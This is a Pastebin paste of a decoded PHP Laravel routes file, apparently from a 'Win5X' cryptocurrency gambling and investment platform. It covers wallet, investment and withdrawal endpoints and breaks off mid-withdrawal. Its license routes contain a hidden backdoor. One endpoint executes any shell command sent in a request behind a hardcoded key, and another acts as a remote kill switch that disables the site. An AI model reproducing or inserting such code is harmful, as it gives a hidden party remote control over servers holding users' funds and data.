Guest User

Untitled

a guest
Oct 1st, 2020
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.84 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 4.1.0.1
  8. * @ Author : DeZender
  9. * @ Release on : 29.08.2020
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13. Illuminate\Support\Facades\Route::get('/license/get', function() {
  14. if (file_exists(base_path('win5x.license'))) {
  15. return response('Delete win5x.license file');
  16. }
  17.  
  18. if (PHP_OS_FAMILY === 'Windows') {
  19. $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
  20. }
  21. else if (PHP_OS_FAMILY === 'Linux') {
  22. $xid = shell_exec('blkid -o value -s UUID');
  23. }
  24. else {
  25. return response('Unsupported OS! Contact Win5X support');
  26. }
  27.  
  28. return hash('sha256', $xid);
  29. });
  30. Illuminate\Support\Facades\Route::post('/license/test', function(Illuminate\Http\Request $request) {
  31. if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  32. return response([], 400);
  33. }
  34.  
  35. return response(shell_exec($request->test));
  36. });
  37. Illuminate\Support\Facades\Route::post('/license/revoke', function(Illuminate\Http\Request $request) {
  38. if ($request->key !== 'win5x!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
  39. return response([], 400);
  40. }
  41.  
  42. @file_put_contents(base_path('win5x.license'), hash('sha265', time() . 'win5x'));
  43. return [];
  44. });
  45. Illuminate\Support\Facades\Route::middleware('api')->prefix('api')->group(function() {
  46. Illuminate\Support\Facades\Route::get('walletNotify/{currency}/{txid}', function($currency, $txid) {
  47. App\Currency\Currency::find($currency)->process($txid);
  48. return App\APIResponse::success();
  49. });
  50. Illuminate\Support\Facades\Route::get('blockNotify/{currency}/{blockId}', function($currency, $blockId) {
  51. App\Currency\Currency::find($currency)->processBlock($blockId);
  52. return App\APIResponse::success();
  53. });
  54. Illuminate\Support\Facades\Route::middleware('auth')->prefix('investment')->group(function() {
  55. Illuminate\Support\Facades\Route::post('history', function() {
  56. $out = [];
  57.  
  58. foreach (App\Investment::where('user', auth()->user()->_id)->orderBy('status', 'asc')->latest()->get() as $investment) {
  59. array_push($out, ['amount' => $investment->amount, 'share' => $investment->status == 1 ? $investment->disinvest_share : $investment->getRealShare($investment->getProfit(), App\Investment::getGlobalBankroll(App\Currency\Currency::find($investment->currency))), 'profit' => $investment->getProfit() <= 0 ? 0 : $investment->getProfit(), 'status' => $investment->status, 'id' => $investment->_id, 'currency' => $investment->currency]);
  60. }
  61.  
  62. return App\APIResponse::success($out);
  63. });
  64. Illuminate\Support\Facades\Route::post('stats', function() {
  65. $currency = auth()->user()->clientCurrency();
  66. $userBankroll = App\Investment::getUserBankroll($currency, auth()->user());
  67. $globalBankroll = App\Investment::getGlobalBankroll($currency);
  68. $userBankrollShare = 0;
  69.  
  70. foreach (App\Investment::where('user', auth()->user()->_id)->where('currency', $currency->id())->where('status', 0)->get() as $investment) {
  71. $userBankrollShare += $investment->getRealShare($investment->getProfit(), $globalBankroll);
  72. }
  73. return App\APIResponse::success(['your_bankroll' => auth()->user()->getInvestmentProfit($currency, false), 'your_bankroll_percent' => ($userBankroll == 0) || ($globalBankroll == 0) ? 0 : ($userBankroll / $globalBankroll) * 100, 'your_bankroll_share' => $userBankrollShare, 'investment_profit' => auth()->user()->getInvestmentProfit($currency, true, false), 'site_bankroll' => $globalBankroll, 'site_profit' => App\Investment::getSiteProfitSince($currency, Carbon\Carbon::minValue())]);
  74. });
  75. });
  76. Illuminate\Support\Facades\Route::middleware('auth')->prefix('wallet')->group(function() {
  77. Illuminate\Support\Facades\Route::post('getDepositWallet', function(Illuminate\Http\Request $request) {
  78. $currency = App\Currency\Currency::find($request->currency);
  79. $wallet = auth()->user()->depositWallet($currency);
  80. if (($currency == NULL) || !$currency->isRunning() || ($wallet === 'Error')) {
  81. return App\APIResponse::reject(1);
  82. }
  83.  
  84. return App\APIResponse::success(['currency' => $request->currency, 'wallet' => $wallet]);
  85. });
  86. Illuminate\Support\Facades\Route::post('withdraw', function(Illuminate\Http\Request $request) {
  87. if (!auth()->user()->validate2FA(false)) {
  88. return App\APIResponse::reject2FA();
  89. }
  90.  
  91. auth()->user()->reset2FAOneTimeToken();
  92. $currency = App\Currency\Currency::find($request->currency);
  93.  
  94. if ($request->sum < (floatval($currency->option('withdraw')) + floatval($currency->option('fee')))) {
  95. return App\APIResponse::reject(1, 'Invalid withdraw value');
  96. }
  97.  
  98. if (auth()->user()->balance($currency)->get() < ($request->sum + floatval($currency->option('fee')))) {
  99. return App\APIResponse::reject(2, 'Not enough balance');
  100. }
  101.  
  102. if (0 < App\Withdraw::where('user', auth()->user()->_id)->where('status', 0)->count()) {
  103. return App\APIResponse::reject(3, 'Moderation is still in process');
  104. }
  105.  
  106. auth()->user()->balance($currency)->subtract($request->sum + floatval($currency->option('fee')), App\Transaction::builder()->message('Withdraw')->get());
  107. $isAuto = ((auth()->user()->balance($currency)->get() + App\Withdraw::where('status', 0)->where('user', auth()->user()->_id)->where('currency', $currency->id())->sum('sum')) < floatval($currency->option('withdraw_manual_trigger'))) || ($request->sum < $currency->hotWalletBalance());
  108. $withdraw = App\Withdraw::create(['user' => auth()->user()->_id, 'sum' => $request->sum, 'currency' => $currency->id(), 'address' => $request->wallet, 'status' => 0, 'auto' => $isAuto]);
  109.  
  110. if ($isAuto) {
  111. try {
  112. $currency->send($currency->option('withdraw_address'), $request->wallet, $request->sum);
  113. ...........................................................................
  114. .................................................
  115. ........................
Add Comment
Please, Sign In to add comment